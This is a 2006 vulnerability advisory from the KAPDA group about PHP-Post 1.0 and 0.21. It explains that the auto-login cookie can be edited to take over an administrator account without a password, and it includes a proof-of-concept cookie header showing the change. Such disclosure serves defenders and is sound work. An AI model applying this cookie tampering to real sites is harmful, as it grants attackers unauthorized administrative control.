PHP-Post 1.0 Cookie Modification Privilege Escalation Vulnerability

[KAPDA::#52] - PHP-Post 1.0 Cookie Modification Privilege Escalation Vulnerability


Vulnerable product: Tested on PHP-Post 0.21 and 1.0
Vendor: http://php-post.co.uk
Vulnerability: Privilege Escalation


Date:
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Found: Nov 23, 2005
Vendor Contacted: Jun 01, 2006
Release Date: July 18, 2006

Vulnerability:
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Privilege Escalation:
PHP-Post contains a flaw that may allow a remote attacker to gain administrative privileges.
PHP-Post doesn't properly authenticate remote users if auto login is on!
By editing the values of the cookie, an attacker can change their privilege from a regular 
user to administrator and submit it back to the site.


Proof of Concepts:
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Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]=3nitr0; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284; post[329]=330

change to:

Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]="ADMIN`S USERNAME"; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284; post[329]=330

without password ;)


Credit:
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Farhad Koosha
FarhadKey of KAPDA
farhadkey [at} kapda <d0t> net
Greetz to CVH and Pi3cH :)
Kapda - Security Science Researchers Insitute of Iran
http://www.KAPDA.ir